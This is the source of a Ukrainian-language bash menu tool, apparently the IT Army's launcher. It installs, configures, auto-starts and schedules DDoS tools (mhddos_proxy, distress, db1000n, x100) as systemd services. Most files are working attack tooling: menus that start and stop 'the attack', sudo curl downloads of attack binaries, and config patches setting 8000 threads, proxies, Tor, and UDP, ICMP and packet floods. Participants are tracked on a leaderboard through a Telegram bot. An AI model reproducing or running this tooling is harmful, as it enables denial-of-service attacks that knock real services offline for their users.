104 | # "$(trans "Вимкнути автозапуск DB1000N")")
105 | # db1000n_auto_disable
106 | # autoload_configuration
107 | # ;;
108 | # "$(trans "Увімкнути автозапуск DB1000N")")
109 | # db1000n_auto_enable
110 | # autoload_configuration
111 | # ;;
112 | "$(trans "Вимкнути автозапуск DISTRESS")")
113 | distress_auto_disable
114 | autoload_configuration
115 | ;;
116 | "$(trans "Увімкнути автозапуск DISTRESS")")
117 | distress_auto_enable
118 | autoload_configuration
119 | ;;
120 | "$(trans "Вимкнути автозапуск X100")")
121 | x100_auto_disable
122 | autoload_configuration
123 | ;;
124 | "$(trans "Увімкнути автозапуск X100")")
125 | x100_auto_enable
126 | autoload_configuration
127 | ;;
128 | "$(trans "Повернутись назад")")
129 | ddos_tool_managment
130 | ;;
131 | esac
132 | }
133 |
--------------------------------------------------------------------------------
/menu/ddos_tool_managment.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | check_enabled() {
4 | services=("mhddos" "distress" "db1000n" "x100")
5 | stop_service=0
6 | for service in "${services[@]}"; do
7 | if sudo systemctl is-active "$service" >/dev/null; then
8 | stop_service=1
9 | break
10 | fi
11 | done
12 | return "$stop_service"
13 | }
14 |
15 | create_symlink() {
16 | sudo rm -f /etc/systemd/system/mhddos.service
17 | sudo rm -f /etc/systemd/system/distress.service
18 | sudo rm -f /etc/systemd/system/db1000n.service
19 | sudo rm -f /etc/systemd/system/x100.service
20 |
21 | sudo ln -sf "$SCRIPT_DIR"/services/mhddos.service /etc/systemd/system/mhddos.service >/dev/null 2>&1
22 | sudo ln -sf "$SCRIPT_DIR"/services/distress.service /etc/systemd/system/distress.service >/dev/null 2>&1
23 | sudo ln -sf "$SCRIPT_DIR"/services/db1000n.service /etc/systemd/system/db1000n.service >/dev/null 2>&1
24 | sudo ln -sf "$SCRIPT_DIR"/services/x100.service /etc/systemd/system/x100.service >/dev/null 2>&1
25 | }
26 |
27 | stop_services() {
28 | adss_dialog "$(trans "Зупиняємо атаку")"
29 | sudo systemctl stop distress.service >/dev/null
30 | sudo systemctl stop db1000n.service >/dev/null
31 | sudo systemctl stop mhddos.service >/dev/null
32 | confirm_dialog "$(trans "Атака зупинена")"
33 | ddos_tool_managment
34 | }
35 |
36 | get_ddoss_status() {
37 | services=("mhddos" "distress" "db1000n" "x100")
38 | service=""
39 |
40 | for element in "${services[@]}"; do
41 | if systemctl is-active --quiet "$element.service"; then
42 | service="$element"
43 | break
44 | fi
45 | done
46 | if [[ -n "$service" ]]; then
47 | while true; do
48 | clear
49 | echo -e "${GREEN}$(trans "Запущено $service")${NC}"
50 |
51 | #Fix Kali
52 | #https://t.me/c/1764189517/301014
53 | #https://t.me/c/1764189517/300970
54 | #tail --lines=20 /var/log/syslog | grep -w "$service"
55 | #Fix Parrot
56 | #journalctl -n 20 -u "$service.service" --no-pager
57 |
58 | #Fix Ubuntu < 19
59 | lsb_version="$(. /etc/os-release && echo "$VERSION_ID")"
60 | lsb_id="$(. /etc/os-release && echo "$ID")"
61 |
62 | if [[ "$lsb_id" == "ubuntu" ]] &&
63 | [[ "$lsb_version" < 19* ]]; then
64 | journalctl -n 20 -u "$service.service" --no-pager
65 | else
66 | if [[ $service == "x100" ]]; then
67 | tail --lines=20 "$SCRIPT_DIR/x100-for-docker/put-your-ovpn-files-here/x100-log-short.txt"
68 | else
69 | tail --lines=20 /var/log/adss.log
70 | fi
71 | fi
72 |
73 | echo -e "${ORANGE}$(trans "Нажміть будь яку клавішу щоб продовжити")${NC}"
74 | sleep 3
75 | if read -rsn1 -t 0.1; then
76 | break
77 | fi
78 | done
79 | else
80 | confirm_dialog "$(trans "Немає запущених процесів")"
81 | fi
82 | }
83 |
84 | ddos_tool_managment() {
85 | menu_items=("$(trans "Статус атаки")")
86 | check_enabled
87 | enabled_tool=$?
88 | if [[ "$enabled_tool" == 1 ]]; then
89 | menu_items+=("$(trans "Зупинити атаку")")
90 | fi
91 | menu_items+=("$(trans "Налаштування автозапуску")")
92 | is_not_arm_arch
93 | if [[ $? == 1 ]]; then
94 | menu_items+=("MHDDOS")
95 | fi
96 | # menu_items+=("DB1000N" "DISTRESS" "X100" "$(trans "Повернутись назад")")
97 | menu_items+=("DISTRESS" "X100" "$(trans "Повернутись назад")")
98 | res=$(display_menu "$(trans "Управління ддос інструментами")" "${menu_items[@]}")
99 |
100 | case "$res" in
101 | "$(trans "Статус атаки")")
102 | get_ddoss_status
103 | ddos_tool_managment
104 | ;;
105 | "$(trans "Зупинити атаку")")
106 | stop_services
107 | ;;
108 | "$(trans "Налаштування автозапуску")")
109 | autoload_configuration
110 | ;;
111 | "MHDDOS")
112 | initiate_mhddos
113 | ;;
114 | # "DB1000N")
115 | # initiate_db1000n
116 | # ;;
117 | "DISTRESS")
118 | initiate_distress
119 | ;;
120 | "X100")
121 | initiate_x100
122 | ;;
123 | "$(trans "Повернутись назад")")
124 | ddos
125 | ;;
126 | esac
127 | }
128 |
--------------------------------------------------------------------------------
/menu/ddoss.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | ddos() {
4 | menu_items=("$(trans "Встановлення ддос інструментів")" "$(trans "Управління ддос інструментами")" "$(trans "Повернутись назад")")
5 | res=$(display_menu "DDOS" "${menu_items[@]}")
6 |
7 | case "$res" in
8 | "$(trans "Встановлення ддос інструментів")")
9 | clear
10 | echo -ne "\n"
11 | echo -ne "${GREEN}$(trans "Для збору особистої статистики та відображення у лідерборді на офіційному сайті.")${NC} ${ORANGE}https://itarmy.com.ua/leaderboard ${NC}""\n"
12 | echo -ne "${GREEN}$(trans "Надається Telegram ботом")${NC} ${ORANGE}@itarmy_stats_bot${NC}""\n"
13 | echo -ne "\n"
14 | echo -ne "${GREEN}$(trans "Щоб пропустити, натисніть Enter")${NC}""\n""\n"
15 | echo -ne "$(trans "Юзер ІД: ")"
16 | read user_id
17 |
18 | if [[ "$user_id" ]]; then
19 | sed -i "s/user-id=.*/user-id=$user_id/g" ${SCRIPT_DIR}/services/EnvironmentFile
20 | fi
21 |
22 | is_not_arm_arch
23 | if [[ $? == 1 ]]; then
24 | install_mhddos
25 | fi
26 |
27 | # install_db1000n
28 | install_distress
29 | ddos
30 | ;;
31 | "$(trans "Управління ддос інструментами")")
32 | ddos_tool_managment
33 | ;;
34 | "$(trans "Повернутись назад")")
35 | main_menu
36 | ;;
37 | esac
38 | }
39 |
--------------------------------------------------------------------------------
/menu/main_menu.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | main_menu() {
4 | menu_items=("$(trans "Статус атаки")" "$(trans "Розширення портів")" "DDOS" "$(trans "Налаштування безпеки")")
5 | res=$(display_menu "$(trans "Головне меню")" "${menu_items[@]}")
6 |
7 | case "$res" in
8 | "$(trans "Статус атаки")")
9 | get_ddoss_status
10 | main_menu
11 | ;;
12 | "$(trans "Розширення портів")")
13 | extend_ports
14 | main_menu
15 | ;;
16 | "DDOS")
17 | ddos
18 | ;;
19 | "$(trans "Налаштування безпеки")")
20 | security_settings
21 | ;;
22 | esac
23 | }
24 |
--------------------------------------------------------------------------------
/menu/menu_init.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | display_menu() {
4 | title="$1"
5 | shift
6 | options=("$@")
7 | local dialog_args=()
8 | local index
9 | for index in "${!options[@]}"; do
10 | dialog_args+=("${options[index]}" "")
11 | done
12 | local selection=$(dialog --ascii-lines --clear --stdout --cancel-label "$(trans "Вихід")" --title "$title" \
13 | --menu "$(trans "Оберіть опцію:")" 0 0 0 "${dialog_args[@]}")
14 |
15 | if [[ -z "$selection" ]]; then
16 | clear >$(tty)
17 | echo "Exiting..."
18 | exit 0
19 | fi
20 | echo "$selection"
21 | }
--------------------------------------------------------------------------------
/menu/security_configuration.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | security_configuration() {
4 |
5 | menu_items=()
6 | ufw=""
7 | fail2ban=""
8 | ufw_installed
9 | if [[ $? == 1 ]]; then
10 | ufw=1
11 | ufw_is_active
12 | if [[ $? == 1 ]]; then
13 | menu_items+=("$(trans "Вимкнути фаервол")")
14 | else
15 | menu_items+=("$(trans "Увімкнути фаервол")")
16 | fi
17 | fi
18 |
19 | fail2ban_installed
20 | if [[ $? == 1 ]]; then
21 | fail2ban=1
22 | fail2ban_is_active
23 | if [[ $? == 1 ]]; then
24 | menu_items+=("$(trans "Вимкнути захист від брутфорсу")")
25 | else
26 | menu_items+=("$(trans "Увімкнути захист від брутфорсу")")
27 | fi
28 | fi
29 |
30 | menu_items+=("$(trans "Налаштування фаєрвола")" "$(trans "Налаштування захисту від брутфорса")" "$(trans "Повернутись назад")")
31 | res=$(display_menu "$(trans "Налаштування захисту")" "${menu_items[@]}")
32 |
33 | case "$res" in
34 | "$(trans "Вимкнути фаервол")")
35 | disable_ufw
36 | security_configuration
37 | ;;
38 | "$(trans "Увімкнути фаервол")")
39 | enable_ufw
40 | security_configuration
41 | ;;
42 | "$(trans "Вимкнути захист від брутфорсу")")
43 | disable_fail2ban
44 | security_configuration
45 | ;;
46 | "$(trans "Увімкнути захист від брутфорсу")")
47 | enable_fail2ban
48 | security_configuration
49 | ;;
50 | "$(trans "Налаштування фаєрвола")")
51 | configure_ufw
52 | security_configuration
53 | ;;
54 | "$(trans "Налаштування захисту від брутфорса")")
55 | configure_fail2ban
56 | security_configuration
57 | ;;
58 | "$(trans "Повернутись назад")")
59 | security_settings
60 | ;;
61 | esac
62 | }
63 |
--------------------------------------------------------------------------------
/menu/security_settings.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | security_settings() {
4 | menu_items=("$(trans "Встановлення захисту")" "$(trans "Налаштування захисту")" "$(trans "Повернутись назад")")
5 | res=$(display_menu "$(trans "Налаштування безпеки")" "${menu_items[@]}")
6 |
7 | case "$res" in
8 | "$(trans "Встановлення захисту")")
9 | install_ufw
10 | install_fail2ban
11 | security_settings
12 | ;;
13 | "$(trans "Налаштування захисту")")
14 | security_configuration
15 | ;;
16 | "$(trans "Повернутись назад")")
17 | main_menu
18 | ;;
19 | esac
20 | }
21 |
--------------------------------------------------------------------------------
/services/EnvironmentFile:
--------------------------------------------------------------------------------
1 | [mhddos]
2 | user-id=
3 | lang=ua
4 | copies=auto
5 | vpn=false
6 | vpn-percents=20
7 | threads=8000
8 | proxies=
9 | bind=
10 | [/mhddos]
11 |
12 | [distress]
13 | user-id=
14 | use-my-ip=0
15 | use-tor=0
16 | concurrency=4096
17 | direct-udp-failover=0
18 | interface=
19 | [/distress]
20 |
21 | [db1000n]
22 | user-id=
23 | enable-self-update=1
24 | scale=1
25 | proxylist=
26 | default-proxy-proto=
27 | interface=
28 | [/db1000n]
--------------------------------------------------------------------------------
/services/db1000n.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=db1000n
3 | After=network.target
4 | StartLimitIntervalSec=0
5 |
6 | [Service]
7 | Type=simple
8 | Restart=on-failure
9 | RestartSec=10
10 | ExecStart=/opt/itarmy/bin/db1000n
11 | WorkingDirectory=/opt/itarmy/bin
12 | SyslogIdentifier=db1000n
13 | SyslogFacility=daemon
14 | StandardOutput=append:/var/log/adss.log
15 | StandardError=append:/var/log/adss.log
16 |
17 | [Install]
18 | WantedBy=multi-user.target
19 |
--------------------------------------------------------------------------------
/services/distress.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=distress
3 | After=network.target
4 | StartLimitIntervalSec=0
5 |
6 | [Service]
7 | Type=simple
8 | Restart=on-failure
9 | RestartSec=10
10 | ExecStart=/opt/itarmy/bin/distress
11 | WorkingDirectory=/opt/itarmy/bin
12 | SyslogIdentifier=distress
13 | SyslogFacility=daemon
14 | StandardOutput=append:/var/log/adss.log
15 | StandardError=append:/var/log/adss.log
16 |
17 | [Install]
18 | WantedBy=multi-user.target
--------------------------------------------------------------------------------
/services/mhddos.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=mhddos_proxy
3 | After=network.target
4 | StartLimitIntervalSec=0
5 |
6 | [Service]
7 | Type=simple
8 | Restart=on-failure
9 | RestartSec=10
10 | ExecStart=/opt/itarmy/bin/mhddos_proxy_linux
11 | WorkingDirectory=/opt/itarmy/bin
12 | SyslogIdentifier=mhddos
13 | SyslogFacility=daemon
14 | StandardOutput=append:/var/log/adss.log
15 | StandardError=append:/var/log/adss.log
16 |
17 | [Install]
18 | WantedBy=multi-user.target
--------------------------------------------------------------------------------
/services/x100.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=x100
3 | After=network.target
4 | StartLimitIntervalSec=0
5 |
6 | [Service]
7 | Type=simple
8 | Restart=on-failure
9 | RestartSec=10
10 | ExecStart=/opt/itarmy/x100-for-docker/for-macOS-and-Linux-hosts/run-and-auto-update.bash
11 | ExecStop=/opt/itarmy/x100-for-docker/for-macOS-and-Linux-hosts/stop.bash
12 | WorkingDirectory=/opt/itarmy/x100-for-docker/for-macOS-and-Linux-hosts/
13 | SyslogIdentifier=x100
14 | SyslogFacility=daemon
15 | StandardOutput=append:/opt/itarmy/x100-for-docker/put-your-ovpn-files-here/x100-log-short.txt
16 | StandardError=append:/opt/itarmy/x100-for-docker/put-your-ovpn-files-here/x100-log-short.txt
17 |
18 | [Install]
19 | WantedBy=multi-user.target
20 |
--------------------------------------------------------------------------------
/utils/datapatch.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | apply_patch() {
4 | envFile="$SCRIPT_DIR/services/EnvironmentFile"
5 |
6 | # for 1.1.0
7 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'interface='; then
8 | sed -i 's/\[\/distress\]/interface=\n\[\/distress\]/g' "$envFile"
9 | fi
10 |
11 | # if ! awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'bind='; then
12 | # sed -i 's/\[\/mhddos\]/bind=\n\[\/mhddos\]/g' "$envFile"
13 | # fi
14 | # end 1.1.0
15 |
16 | # for 1.1.1
17 | if ! awk '/\[db1000n\]/,/\[\/db1000n\]/' "$envFile" | grep -q 'interface='; then
18 | sed -i 's/\[\/db1000n\]/interface=\n\[\/db1000n\]/g' "$envFile"
19 | fi
20 | # end 1.1.1
21 |
22 | # for 1.1.3
23 | if ! awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'source='; then
24 | sed -i 's/\[\/mhddos\]/source=adss\n\[\/mhddos\]/g' "$envFile"
25 | regenerate_mhddos_service_file
26 | fi
27 | # end 1.1.3
28 |
29 | # for 1.1.4
30 | # if awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'direct-udp-failover='; then
31 | # sed -i 's/direct-udp-failover/direct-udp-mixed-flood/g' "$envFile"
32 | # regenerate_distress_service_file
33 | # fi
34 |
35 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'udp-packet-size='; then
36 | sed -i 's/\[\/distress\]/udp-packet-size=4096\n\[\/distress\]/g' "$envFile"
37 | regenerate_distress_service_file
38 | fi
39 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'direct-udp-mixed-flood-packets-per-conn='; then
40 | sed -i 's/\[\/distress\]/direct-udp-mixed-flood-packets-per-conn=30\n\[\/distress\]/g' "$envFile"
41 | regenerate_distress_service_file
42 | fi
43 | # for 1.1.4
44 |
45 | # for 1.1.8
46 | if awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'vpn='; then
47 | sed -i '/\[mhddos\]/,/\[\/mhddos\]/ s/^vpn=.*//' "$envFile"
48 | regenerate_mhddos_service_file
49 | fi
50 | if awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'vpn-percents='; then
51 | sed -i '/\[mhddos\]/,/\[\/mhddos\]/ s/^vpn-percents=.*//' "$envFile"
52 | regenerate_mhddos_service_file
53 | fi
54 |
55 | sed -i '/\[mhddos\]/,/\[\/mhddos\]/ {
56 | /^\[mhddos\]/b
57 | /^\[\/mhddos\]/b
58 | /^[[:space:]]*$/d
59 | }' "$envFile"
60 |
61 | if ! awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'use-my-ip='; then
62 | sed -i 's/\[\/mhddos\]/use-my-ip=0\n\[\/mhddos\]/g' "$envFile"
63 | regenerate_mhddos_service_file
64 | fi
65 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'source='; then
66 | sed -i 's/\[\/distress\]/source=adss\n\[\/distress\]/g' "$envFile"
67 | regenerate_distress_service_file
68 | fi
69 | if ! awk '/\[db1000n\]/,/\[\/db1000n\]/' "$envFile" | grep -q 'source='; then
70 | sed -i 's/\[\/db1000n\]/source=adss\n\[\/db1000n\]/g' "$envFile"
71 | regenerate_db1000n_service_file
72 | fi
73 | # for 1.1.8
74 |
75 | # for 1.2.1
76 | udpPackageSize=$(sed -n '/\[distress\]/,/\[\/distress\]/ s/udp-packet-size=\([0-9]\+\)/\1/p' "$envFile")
77 | if [[ $udpPackageSize -gt 1420 ]]; then
78 | sed -i '/\[distress\]/,/\[\/distress\]/ s/udp-packet-size=[0-9]\+/udp-packet-size=1252/g' "$envFile"
79 | regenerate_distress_service_file
80 | fi
81 | # for 1.2.1
82 |
83 | # for 1.2.2
84 | if awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'bind='; then
85 | sed -i '/\[mhddos\]/,/\[\/mhddos\]/ s/bind=/ifaces=/g' "$envFile"
86 | regenerate_mhddos_service_file
87 | elif ! awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'ifaces='; then
88 | sed -i 's/\[\/mhddos\]/ifaces=\n\[\/mhddos\]/g' "$envFile"
89 | regenerate_mhddos_service_file
90 | fi
91 | if awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'direct-udp-failover='; then
92 | sed -i '/\[distress\]/,/\[\/distress\]/ s/direct-udp-failover=/disable-udp-flood=/g' "$envFile"
93 | regenerate_distress_service_file
94 | fi
95 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'enable-icmp-flood='; then
96 | sed -i 's/\[\/distress\]/enable-icmp-flood=0\n\[\/distress\]/g' "$envFile"
97 | regenerate_distress_service_file
98 | fi
99 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'enable-packet-flood='; then
100 | sed -i 's/\[\/distress\]/enable-packet-flood=0\n\[\/distress\]/g' "$envFile"
101 | regenerate_distress_service_file
102 | fi
103 | if awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'direct-udp-mixed-flood='; then
104 | sed -i '/^\[distress\]/,/^\[\/distress\]/{/direct-udp-mixed-flood=/d}' "$envFile"
105 | regenerate_distress_service_file
106 | fi
107 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'disable-udp-flood='; then
108 | use_my_ip=$(sed -n '/\[distress\]/,/\[\/distress\]/ s/use-my-ip=\([0-9]\+\)/\1/p' "$envFile")
109 | if [[ $use_my_ip -eq 0 ]]; then
110 | sed -i 's/\[\/distress\]/disable-udp-flood=0\n\[\/distress\]/g' "$envFile"
111 | else
112 | sed -i 's/\[\/distress\]/disable-udp-flood=1\n\[\/distress\]/g' "$envFile"
113 | fi
114 | regenerate_distress_service_file
115 | fi
116 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'proxies-path='; then
117 | sed -i 's/\[\/distress\]/proxies-path=\n\[\/distress\]/g' "$envFile"
118 | regenerate_distress_service_file
119 | fi
120 | # for 1.2.2
121 |
122 | # 2.0.5
123 | if ! awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'cron-to-run='; then
124 | sed -i 's/\[\/mhddos\]/cron-to-run=\n\[\/mhddos\]/g' "$envFile"
125 | fi
126 | if ! awk '/\[mhddos\]/,/\[\/mhddos\]/' "$envFile" | grep -q 'cron-to-stop='; then
127 | sed -i 's/\[\/mhddos\]/cron-to-stop=\n\[\/mhddos\]/g' "$envFile"
128 | fi
129 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'cron-to-run='; then
130 | sed -i 's/\[\/distress\]/cron-to-run=\n\[\/distress\]/g' "$envFile"
131 | fi
132 | if ! awk '/\[distress\]/,/\[\/distress\]/' "$envFile" | grep -q 'cron-to-stop='; then
133 | sed -i 's/\[\/distress\]/cron-to-stop=\n\[\/distress\]/g' "$envFile"
134 | fi
135 |
136 | if ! grep -q '^\[x100\]$' "$envFile" || ! grep -q '^\[/x100\]$' "$envFile"; then
137 | echo -e "\n[x100]\n[/x100]" >> "$envFile"
138 | fi
139 | if ! awk '/\[x100\]/,/\[\/x100\]/' "$envFile" | grep -q 'cron-to-run='; then
140 | sed -i 's/\[\/x100\]/cron-to-run=\n\[\/x100\]/g' "$envFile"
141 | fi
142 | if ! awk '/\[x100\]/,/\[\/x100\]/' "$envFile" | grep -q 'cron-to-stop='; then
143 | sed -i 's/\[\/x100\]/cron-to-stop=\n\[\/x100\]/g' "$envFile"
144 | fi
145 |
146 | # end 2.0.5
147 | }
148 |
--------------------------------------------------------------------------------
/utils/db1000n.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | install_db1000n() {
4 | adss_dialog "$(trans "Встановлюємо DB1000N")"
5 | install() {
6 | cd $TOOL_DIR
7 |
8 | case "$OSARCH" in
9 | aarch64*)
10 | sudo curl -Lo db1000n_linux_arm64.tar.gz https://github.com/Arriven/db1000n/releases/latest/download/db1000n_linux_arm64.tar.gz
11 | sudo tar -xf db1000n_linux_arm64.tar.gz
12 | sudo chmod +x db1000n
13 | sudo rm db1000n_linux_arm64.tar.gz
14 | ;;
15 |
16 | armv6* | armv7* | armv8*)
17 | sudo curl -Lo db1000n_linux_armv6.tar.gz https://github.com/Arriven/db1000n/releases/latest/download/db1000n_linux_armv6.tar.gz
18 | sudo tar -xf db1000n_linux_armv6.tar.gz
19 | sudo chmod +x db1000n
20 | sudo rm db1000n_linux_armv6.tar.gz
21 | ;;
22 |
23 | x86_64*)
24 | sudo curl -Lo db1000n_linux_amd64.tar.gz https://github.com/Arriven/db1000n/releases/latest/download/db1000n_linux_amd64.tar.gz
25 | sudo tar -xf db1000n_linux_amd64.tar.gz
26 | sudo chmod +x db1000n
27 | sudo rm db1000n_linux_amd64.tar.gz
28 | ;;
29 |
30 | i386* | i686*)
31 | sudo curl -Lo db1000n_linux_386.tar.gz https://github.com/Arriven/db1000n/releases/latest/download/db1000n_linux_386.tar.gz
32 | sudo tar -xf db1000n_linux_386.tar.gz
33 | sudo chmod +x db1000n
34 | sudo rm db1000n_linux_386.tar.gz
35 | ;;
36 |
37 | *)
38 | confirm_dialog "$(trans "Неможливо визначити розрядность операційної системи")"
39 | ddos_tool_managment
40 | ;;
41 | esac
42 | regenerate_db1000n_service_file
43 | create_symlink
44 | }
45 | install > /dev/null 2>&1
46 | confirm_dialog "$(trans "DB1000N успішно встановлено")"
47 | }
48 |
49 | configure_db1000n() {
50 | clear
51 | declare -A params;
52 | echo -e "${ORANGE}$(trans "Залишіть пустим якщо бажаєте видалити пераметри")${NC}"
53 | echo -ne "\n"
54 | echo -ne "${GREEN}$(trans "Для збору особистої статистики та відображення у лідерборді на офіційному сайті.")${NC} ${ORANGE}https://itarmy.com.ua/leaderboard ${NC}""\n"
55 | echo -ne "${GREEN}$(trans "Надається Telegram ботом")${NC} ${ORANGE}@itarmy_stats_bot${NC}""\n"
56 | echo -ne "\n"
57 | read -e -p "$(trans "Юзер ІД: ")" -i "$(get_db1000n_variable 'user-id')" user_id
58 | if [[ -n "$user_id" ]];then
59 | while [[ ! $user_id =~ ^[0-9]+$ ]]
60 | do
61 | echo "$(trans "Будь ласка введіть правильні значення")"
62 | read -e -p "$(trans "Юзер ІД: ")" -i "$(get_db1000n_variable 'user-id')" user_id
63 | done
64 | fi
65 |
66 | params[user-id]=$user_id
67 |
68 | read -e -p "$(trans "Автооновлення (1 | 0): ")" -i "$(get_db1000n_variable 'enable-self-update')" enable_self_update
69 |
70 | if [[ -n "$enable_self_update" ]];then
71 | while [[ "$enable_self_update" != "1" && "$enable_self_update" != "0" ]]
72 | do
73 | echo "$(trans "Будь ласка введіть правильні значення")"
74 | read -e -p "$(trans "Автооновлення (1 | 0): ")" -i "$(get_db1000n_variable 'enable-self-update')" enable_self_update
75 | done
76 | fi
77 |
78 | params[enable-self-update]=$enable_self_update
79 |
80 | read -e -p "$(trans "Масштабування (1 | X): ")" -i "$(get_db1000n_variable 'scale')" scale
81 | if [[ -n "$scale" ]];then
82 | while [[ ! $scale =~ ^[0-9]+$ && ! $scale =~ ^[+-]?[0-9]+([.][0-9]+)?$ ]]
83 | do
84 | echo "$(trans "Будь ласка введіть правильні значення")"
85 | read -e -p "$(trans "Масштабування (1 | X): ")" -i "$(get_db1000n_variable 'scale')" scale
86 | done
87 | fi
88 | params[scale]=$scale
89 |
90 | echo -ne "\n"
91 | echo -e "$(trans "Список проксі у форматі") ${ORANGE}protocol://ip:port${NC} $(trans "або") ${ORANGE}ip:port${NC}"
92 | read -e -p "$(trans "Проксі (шлях до файлу або веб-ресурсу): ")" -i "$(get_db1000n_variable 'proxylist')" proxylist
93 | proxylist=$(echo $proxylist | sed 's/\//\\\//g')
94 | if [[ -n "$proxylist" ]];then
95 | params[proxylist]=$proxylist
96 | else
97 | params[proxylist]=" "
98 | fi
99 |
100 | if [[ -n "$proxylist" ]];then
101 | echo -ne "\n"
102 | echo -e "$(trans "Укажіть протокол, якщо формат") ${ORANGE}ip:port${NC}"
103 | read -e -p "$(trans "Протокол проксі (socks5, socks4): ")" -i "$(get_db1000n_variable 'default-proxy-proto')" default_proxy_proto
104 | if [[ -n "$default_proxy_proto" ]];then
105 | while [[
106 | "$default_proxy_proto" != "socks5"
107 | && "$default_proxy_proto" != "socks5h"
108 | && "$default_proxy_proto" != "socks4"
109 | && "$default_proxy_proto" != "socks4a"
110 | ]]
111 | do
112 | echo "$(trans "Будь ласка введіть правильні значення")"
113 | read -e -p "$(trans "Протокол проксі (socks5, socks4, http): ")" -i "$(get_db1000n_variable 'default-proxy-proto')" default_proxy_proto
114 | done
115 | params[default-proxy-proto]=$default_proxy_proto
116 | fi
117 | else
118 | params[default-proxy-proto]=" "
119 | fi
120 |
121 | echo -ne "\n"
122 | echo -e "${ORANGE}$(trans "Назва інтерфейсу (ensXXX, ethX, тощо.)")${NC}"
123 | read -e -p "$(trans "Інтерфейс: ")" -i "$(get_db1000n_variable 'interface')" interface
124 | if [[ -n "$interface" ]];then
125 | params[interface]=$interface
126 | else
127 | params[interface]=" "
128 | fi
129 |
130 | for i in "${!params[@]}"; do
131 | value="${params[$i]}"
132 | write_db1000n_variable "$i" "$value"
133 | done
134 | regenerate_db1000n_service_file
135 | if systemctl is-active --quiet db1000n.service; then
136 | sudo systemctl restart db1000n.service >/dev/null 2>&1
137 | fi
138 | confirm_dialog "$(trans "Успішно виконано")"
139 | }
140 |
141 | get_db1000n_variable() {
142 | lines=$(sed -n "/\[db1000n\]/,/\[\/db1000n\]/p" "${SCRIPT_DIR}"/services/EnvironmentFile)
143 | variable=$(echo "$lines" | grep "$1=" | cut -d '=' -f2)
144 | echo "$variable"
145 | }
146 |
147 | write_db1000n_variable() {
148 | sed -i "/\[db1000n\]/,/\[\/db1000n\]/s/$1=.*/$1=$2/g" "${SCRIPT_DIR}"/services/EnvironmentFile
149 | }
150 |
151 | regenerate_db1000n_service_file() {
152 | lines=$(sed -n "/\[db1000n\]/,/\[\/db1000n\]/p" "${SCRIPT_DIR}"/services/EnvironmentFile)
153 |
154 | start="ExecStart=${SCRIPT_DIR}/bin/db1000n"
155 |
156 | while read -r line
157 | do
158 | key=$(echo "$line" | cut -d '=' -f1)
159 | value=$(echo "$line" | cut -d '=' -f2)
160 |
161 | if [[ "$key" = "[db1000n]" || "$key" = "[/db1000n]" ]]; then
162 | continue
163 | fi
164 | if [[ "$key" == 'enable-self-update' ]];then
165 | if [[ "$value" == 0 ]]; then
166 | continue
167 | elif [[ "$value" == 1 ]]; then
168 | value=" "
169 | fi
170 | fi
171 | if [[ "$value" ]]; then
172 | start="$start --$key $value"
173 | fi
174 | done <<< "$lines"
175 | start=$(echo $start | sed 's/\//\\\//g')
176 |
177 | sed -i "s/ExecStart=.*/$start/g" "${SCRIPT_DIR}"/services/db1000n.service
178 |
179 | sudo systemctl daemon-reload
180 | }
181 |
182 | db1000n_run() {
183 | sudo systemctl stop mhddos.service >/dev/null 2>&1
184 | sudo systemctl stop distress.service >/dev/null 2>&1
185 | x100_stop
186 | sudo systemctl start db1000n.service >/dev/null 2>&1
187 | }
188 |
189 | db1000n_stop() {
190 | sudo systemctl stop db1000n.service >/dev/null 2>&1
191 | }
192 | db1000n_auto_enable() {
193 | sudo systemctl disable mhddos.service >/dev/null 2>&1
194 | sudo systemctl disable distress.service >/dev/null 2>&1
195 | sudo systemctl disable x100 >/dev/null 2>&1
196 | sudo systemctl enable db1000n >/dev/null 2>&1
197 | create_symlink
198 | confirm_dialog "$(trans "DB1000N додано до автозавантаження")"
199 | }
200 |
201 | db1000n_auto_disable() {
202 | sudo systemctl disable db1000n >/dev/null 2>&1
203 | create_symlink
204 | confirm_dialog "$(trans "DB1000N видалено з автозавантаження")"
205 | }
206 |
207 | db1000n_enabled() {
208 | sudo systemctl is-enabled db1000n >/dev/null 2>&1 && return 0 || return 1
209 | }
210 |
211 | db1000n_get_status() {
212 | while true; do
213 | clear
214 | st=$(sudo systemctl status db1000n.service)
215 | echo "$st"
216 | echo -e "${ORANGE}$(trans "Нажміть будь яку клавішу щоб продовжити")${NC}"
217 | sleep 3
